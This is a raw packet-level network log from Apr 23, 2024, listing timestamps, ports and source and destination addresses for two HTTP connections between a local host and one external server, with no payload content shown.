Apr 23, 2024 08:39:58.935878038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935878038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935899973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935929060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935942888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.935950994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.935961008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936023951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936045885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936088085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936122894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936139107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936152935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936175108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936193943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936199903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936209917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936230898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936290979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936320066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936363935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936377048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936431885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936434031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936434031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936604977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936708927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936721087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936726093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936774015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936783075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936783075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936789036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936830044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936842918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936861038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936861992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.936865091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936944962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.936959028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937020063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937036991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937045097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937050104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937068939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937083006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937097073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937097073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937098980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937113047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937119007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937150955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937150955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937177896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937222958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937246084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937315941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937330008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937336922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937369108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937369108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937441111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937464952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937482119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937550068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937570095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937619925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937633991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937642097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937647104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937665939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937685013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937685013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937715054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937835932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937840939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937874079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937891006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937905073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937912941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937913895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937954903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937958956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.937968016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937980890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.937993050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938007116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938008070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938035965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938045025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938060999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938083887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938105106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938107014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938122988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938132048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938154936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938179970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938179970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938247919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938270092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938282967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938304901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938308001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938329935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938371897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938395977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938404083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938424110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938447952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938473940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938518047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938539028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938601971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938616037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938792944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938832045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938832998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938837051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938868046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938885927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.938947916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.938967943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939100027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939115047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939121962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939133883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939194918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939214945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939265013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939285994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939318895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939328909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939445019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939466953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939524889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939656019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939722061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939734936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939865112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939877987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939884901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939914942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939914942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.939917088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939981937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.939995050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940007925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940013885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940020084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940040112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940041065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940078974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940212965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940248013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940267086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940284967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940318108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940344095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940437078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940542936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940560102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940572023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940592051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940623045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940632105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940660000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940701008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940707922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940718889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940757990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940778971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940778971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940828085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940840960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940843105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940891981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940891981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.940946102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940958977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940969944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.940993071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941052914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941071987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941129923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941149950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941183090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941258907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941337109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941355944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941380978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941400051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941405058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941417933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941467047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.941709995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.941761017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.942127943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.942476034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943408966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943429947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943442106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943463087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943479061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943495989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943495989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943504095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943526030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943547964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943567991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943583012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943603039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943633080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943636894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943658113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.943717003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.943912029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944006920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944025993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944071054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944084883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944092035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944127083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944127083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944153070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944219112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944232941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944282055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944282055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944293022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944570065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944622993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944643021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944643974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944664001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944667101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944684982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944699049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944720984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944761992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944783926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944834948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944850922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944863081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.944895029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944895029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.944906950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945183992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945229053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945250034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945322990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945344925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945401907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945521116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945581913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945601940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945678949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945704937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945719004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945739031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945794106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945807934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945842981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945867062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945869923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945888042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945903063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.945921898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.945988894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946146011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946161985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946223021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946242094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946269035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946289062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946351051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946377039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946377993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946391106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946397066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946425915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946425915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946454048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946573973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946623087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946650982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946794987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946820974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946872950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.946873903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946933985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.946966887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947012901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947052002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947069883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947098017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947115898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947156906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947173119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947222948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947230101 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947241068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947263956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947304964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947313070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947316885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947334051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947355032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947355032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947355032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947367907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947377920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947410107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947410107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947475910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947535992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947556019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947580099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947859049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947871923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947895050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.947917938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.947917938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948035002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948055029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948065042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948076963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948088884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948091984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948108912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948124886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948124886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948165894 CEST	80	49704	138.199.40.58	192.168.2.7
